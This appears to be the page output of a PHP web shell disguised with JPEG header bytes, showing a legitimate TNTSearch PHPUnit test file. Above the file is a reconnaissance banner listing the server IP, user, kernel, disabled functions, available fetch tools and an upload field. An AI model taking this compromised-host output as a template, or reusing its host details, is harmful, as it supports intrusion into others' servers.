����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/teamtnt/tntsearch/tests/ |
Upload File : |
<?php
use TeamTNT\TNTSearch\Exceptions\IndexNotFoundException;
use TeamTNT\TNTSearch\TNTSearch;
class TNTSearchTest extends PHPUnit\Framework\TestCase
{
protected $indexName = "testIndex";
protected $config = [
'driver' => 'sqlite',
'database' => __DIR__.'/_files/articles.sqlite',
'host' => 'localhost',
'username' => 'testUser',
'password' => 'testPass',
'storage' => __DIR__.'/_files/',
'stemmer' => \TeamTNT\TNTSearch\Stemmer\PorterStemmer::class
];
public function testLoadConfig()
{
$tnt = new TNTSearch();
$tnt->loadConfig($this->config);
$this->assertArrayHasKey('driver', $tnt->config);
$this->assertArrayHasKey('database', $tnt->config);
$this->assertArrayHasKey('host', $tnt->config);
$this->assertArrayHasKey('username', $tnt->config);
$this->assertArrayHasKey('password', $tnt->config);
$this->assertArrayHasKey('storage', $tnt->config);
$this->assertArrayHasKey('stemmer', $tnt->config);
}
public function testCreateIndex()
{
$tnt = new TNTSearch();
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$this->assertInstanceOf('TeamTNT\TNTSearch\Indexer\TNTIndexer', $indexer);
$this->assertFileExists($indexer->getStoragePath().$this->indexName);
}
public function testSearchBoolean()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$res = $tnt->searchBoolean('romeo juliet queen');
$this->assertEquals([7], $res['ids']);
$res = $tnt->searchBoolean('Hamlet or Macbeth');
$this->assertEquals([3, 4, 1, 2], $res['ids']);
$this->assertEquals(4, $res['hits']);
$res = $tnt->searchBoolean('juliet ~well');
$this->assertEquals([5, 6, 7, 8, 10], $res['ids']);
$res = $tnt->searchBoolean('juliet ~romeo');
$this->assertEquals([10], $res['ids']);
$res = $tnt->searchBoolean('hamlet ~king');
$this->assertEquals([2], $res['ids']);
$res = $tnt->searchBoolean('hamlet superman');
$this->assertEquals([], $res['ids']);
$res = $tnt->searchBoolean('hamlet or superman');
$this->assertEquals([1, 2], $res['ids']);
$res = $tnt->searchBoolean('hamlet');
$this->assertEquals([1, 2], $res['ids']);
$res = $tnt->searchBoolean('eldred ~bar');
$this->assertEquals([11], $res['ids']);
$res = $tnt->searchBoolean('Eldred ~bar');
$this->assertEquals([11], $res['ids']);
}
/**
* https://github.com/teamtnt/tntsearch/issues/60
*/
public function testTotalDocumentCountOnIndexUpdate()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$this->assertEquals(12, $tnt->totalDocumentsInCollection());
$index = $tnt->getIndex();
//first we test if the total number of documents will decrease
$index->delete(12);
$this->assertEquals(11, $tnt->totalDocumentsInCollection());
//now we try with a document that does not exist, the total number should increase for 1
$index->update(1234, ['id' => '1234', 'title' => 'updated title', 'article' => 'updated article']);
$this->assertEquals(12, $tnt->totalDocumentsInCollection());
}
public function testPrimaryKeyIncludedInResult()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->includePrimaryKey();
$indexer->run();
$tnt->selectIndex($this->indexName);
$res = $tnt->search(3);
$this->assertEquals([3], $res['ids']);
}
public function testPrimaryKeyNotIncludedInResult()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$res = $tnt->search(3);
$this->assertEquals([], $res['ids']);
}
public function testIndexUpdate()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$index = $tnt->getIndex();
$count = $index->countWordInWordList('titl');
$this->assertTrue($count == 0, 'Word titl should be 0');
$index->insert(['id' => '11', 'title' => 'new title', 'article' => 'new article']);
$count = $index->countWordInWordList('titl');
$this->assertEquals(1, $count, 'Word titl should be 1');
$docCount = $index->countDocHitsInWordList('juliet');
$this->assertEquals(6, $docCount, 'Juliet should occur in 6 documents');
$index->insert(['id' => '12', 'title' => 'juliet', 'article' => 'new article about juliet']);
$count = $index->countWordInWordList('juliet');
$this->assertEquals(9, $count, 'Word juliet should be 9');
$docCount = $index->countDocHitsInWordList('juliet');
$this->assertEquals(7, $docCount, 'Juliet should occur in 7 documents');
$index->delete(12);
$count = $index->countWordInWordList('juliet');
$this->assertEquals(7, $count, 'Word juliet should be 7 after delete');
$docCount = $index->countDocHitsInWordList('juliet');
$this->assertEquals(6, $docCount, 'Juliet should occur in 6 documents after delete');
$count = $index->countWordInWordList('romeo');
$this->assertEquals(5, $count, 'Word romeo should be 5');
$index->update(11, ['id' => '11', 'title' => 'romeo', 'article' => 'new article about romeo']);
$count = $index->countWordInWordList('romeo');
$this->assertEquals(7, $count, 'Word romeo should be 7');
}
public function testMultipleSearch()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$res = $tnt->search('Othello');
$this->assertEmpty($res['ids']);
$this->assertEquals(12, $tnt->totalDocumentsInCollection());
$index = $tnt->getIndex();
$count = $index->countWordInWordList('Othello');
$this->assertTrue($count == 0, 'Word Othello should be 0');
$index->insert(['id' => '13', 'title' => 'Othello', 'article' => 'For she had eyes and chose me.']);
$count = $index->countWordInWordList('Othello');
$this->assertEquals(1, $count, 'Word Othello should be 1');
$this->assertEquals(13, $tnt->totalDocumentsInCollection());
$res = $tnt->search('Othello');
$this->assertEquals([13], $res['ids']);
}
public function testAsYouType()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$tnt->asYouType = true;
$res = $tnt->search('k');
$this->assertEquals([1], $res['ids']);
}
public function testHits()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$res = $tnt->search('juliet');
$this->assertEquals(6, $res['hits']);
}
public function testFuzzySearch()
{
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$tnt->fuzziness = true;
$res = $tnt->search('juleit');
$this->assertEquals("9", $res['ids'][0]);
$res = $tnt->search('quen');
$this->assertEquals("7", $res['ids'][0]);
$res = $tnt->search('asdf');
$this->assertEquals([], $res['ids']);
}
public function testFuzzySearchMultipleWordsFound()
{
$tnt = new TNTSearch();
$tnt->loadConfig($this->config);
$indexer = $tnt->createIndex($this->indexName);
$indexer->disableOutput = true;
$indexer->query('SELECT id, title, article FROM articles;');
$indexer->run();
$tnt->selectIndex($this->indexName);
$index = $tnt->getIndex();
$index->insert(['id' => '14', 'title' => '199x', 'article' => 'Nineties with the x...']);
$index->insert(['id' => '15', 'title' => '199y', 'article' => 'Nineties with the y...']);
$tnt->fuzziness = true;
$res = $tnt->search('199');
$this->assertContains(14, $res['ids']);
$this->assertContains(15, $res['ids']);
}
public function testIndexDoesNotExistException()
{
$this->expectException(IndexNotFoundException::class);
$this->expectExceptionCode(1);
$tnt = new TNTSearch;
$tnt->loadConfig($this->config);
$tnt->selectIndex('IndexThatDoesNotExist');
}
public function testStemmerIsSetOnNewIndexesBasedOnConfig()
{
$config = $this->config;
$config['stemmer'] = \TeamTNT\TNTSearch\Stemmer\GermanStemmer::class;
$tnt = new TNTSearch();
$tnt->loadConfig($config);
$tnt->createIndex($this->indexName);
$tnt->selectIndex($this->indexName);
$this->assertInstanceOf(\TeamTNT\TNTSearch\Stemmer\GermanStemmer::class, $tnt->getStemmer());
}
public function testDefaultStemmerIsSetOnNewIndexesIfNoneConfigured()
{
$config = $this->config;
unset($config['stemmer']);
$tnt = new TNTSearch();
$tnt->loadConfig($config);
$tnt->createIndex($this->indexName);
$tnt->selectIndex($this->indexName);
$this->assertInstanceOf(\TeamTNT\TNTSearch\Stemmer\NoStemmer::class, $tnt->getStemmer());
}
public function tearDown(): void
{
if (file_exists(__DIR__."/".$this->indexName)) {
unlink(__DIR__."/".$this->indexName);
}
}
}